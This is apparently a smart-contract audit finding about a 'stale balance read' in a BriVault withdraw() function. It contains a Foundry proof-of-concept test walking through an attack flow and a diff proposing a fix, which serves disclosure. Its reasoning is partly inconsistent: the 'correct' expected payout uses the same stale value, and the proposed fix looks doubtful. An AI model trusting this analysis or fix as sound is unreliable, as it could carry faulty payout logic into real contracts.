The POC demonstrates how winner share transfers after winner declaration cause incorrect payout calculations due to stale balance snapshots. It shows that when setWinner() caches the vault balance but totalWinnerShares remains dynamic, subsequent share transfers create a mismatch between the cached balance and current share totals. The test verifies that legitimate winners receive reduced payouts while funds become permanently orphaned in the vault contract.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: Stale Balance Read in Winner Withdraw Logic
* Impact: Incorrect winner payouts and permanent fund orphaning
*
* Root Cause: withdraw() uses finalizedVaultAsset (stale snapshot) while totalWinnerShares
* remains dynamic, causing incorrect payout calculations when share transfers occur after setWinner().
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StaleBalanceReadPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address winner1 = makeAddr("winner1");
address winner2 = makeAddr("winner2");
address attacker = makeAddr("attacker");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(winner1, 1000 ether);
asset.mint(winner2, 1000 ether);
asset.mint(attacker, 1000 ether);
vm.startPrank(winner1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(winner2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* CRITICAL VULNERABILITY: Stale balance read causes incorrect winner payouts
*
* Attack Flow:
* 1. Winners deposit and join Brazil team
* 2. Owner declares Brazil as winner, caching vault balance
* 3. Winner transfers shares to attacker after winner declaration
* 4. totalWinnerShares changes but finalizedVaultAsset remains stale
* 5. Winner withdraws using incorrect calculation: (shares * staleBalance) / changedTotalShares
* 6. Winner receives less than entitled, funds orphaned
*/
function test_StaleBalanceReadAttack() public {
console.log("=== STALE BALANCE READ ATTACK ===");
vm.startPrank(winner1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, winner1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(winner2);
vault.deposit(200 ether, winner2);
vault.joinEvent(0);
vm.stopPrank();
uint256 winner1Shares = vault.balanceOf(winner1);
uint256 winner2Shares = vault.balanceOf(winner2);
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
uint256 initialTotalWinnerShares = vault.totalWinnerShares();
uint256 finalizedVaultAsset = vault.finalizedVaultAsset();
console.log("Before share transfer:");
console.log("- Winner1 shares:", winner1Shares);
console.log("- Winner2 shares:", winner2Shares);
console.log("- Total winner shares:", initialTotalWinnerShares);
console.log("- Finalized vault asset:", finalizedVaultAsset);
vm.startPrank(winner1);
vault.transfer(attacker, winner1Shares);
vm.stopPrank();
uint256 newWinner1Shares = vault.balanceOf(winner1);
uint256 attackerShares = vault.balanceOf(attacker);
uint256 newTotalWinnerShares = vault.totalWinnerShares();
console.log("After share transfer:");
console.log("- Winner1 shares:", newWinner1Shares);
console.log("- Attacker shares:", attackerShares);
console.log("- Winner2 shares:", vault.balanceOf(winner2));
console.log("- New total winner shares:", newTotalWinnerShares);
console.log("- Finalized vault asset (stale):", finalizedVaultAsset);
vm.startPrank(winner2);
uint256 balanceBefore = asset.balanceOf(winner2);
vault.withdraw();
uint256 balanceAfter = asset.balanceOf(winner2);
uint256 actualPayout = balanceAfter - balanceBefore;
vm.stopPrank();
uint256 expectedPayout = (winner2Shares * finalizedVaultAsset) / newTotalWinnerShares;
console.log("=== PAYOUT ANALYSIS ===");
console.log("- Winner2 shares:", winner2Shares);
console.log("- New total winner shares:", newTotalWinnerShares);
console.log("- Finalized vault asset:", finalizedVaultAsset);
console.log("- Expected payout (correct):", expectedPayout);
console.log("- Actual payout (wrong):", actualPayout);
vm.startPrank(winner1);
uint256 winner1BalanceBefore = asset.balanceOf(winner1);
vault.withdraw();
uint256 winner1BalanceAfter = asset.balanceOf(winner1);
vm.stopPrank();
assertEq(winner1BalanceAfter - winner1BalanceBefore, 0, "Winner1 gets 0 payout");
vm.startPrank(attacker);
vm.expectRevert(BriVault.didNotWin.selector);
vault.withdraw();
vm.stopPrank();
uint256 remainingFunds = asset.balanceOf(address(vault));
assertGt(remainingFunds, 0, "Funds orphaned due to stale balance read");
console.log("=== STALE BALANCE READ VULNERABILITY DEMONSTRATED ===");
console.log("- Winner2 received incorrect payout due to stale finalizedVaultAsset");
console.log("- Funds orphaned:", remainingFunds);
}
}
Modify withdraw() to use current vault balance instead of cached finalizedVaultAsset
- function withdraw() external winnerSet {
- if (block.timestamp < eventEndDate) {
- revert eventNotEnded();
- }
- if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
- revert didNotWin();
- }
- uint256 shares = balanceOf(msg.sender);
- uint256 vaultAsset = finalizedVaultAsset; // STALE BALANCE!
- uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
- _burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
- emit Withdraw(msg.sender, assetToWithdraw);
- }
+ function withdraw() external winnerSet {
+ if (block.timestamp < eventEndDate) {
+ revert eventNotEnded();
+ }
+ if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
+ revert didNotWin();
+ }
+ uint256 shares = balanceOf(msg.sender);
+ uint256 vaultAsset = IERC20(asset()).balanceOf(address(this)); // Use current balance
+ uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
+ _burn(msg.sender, shares);
+ IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ emit Withdraw(msg.sender, assetToWithdraw);
+ }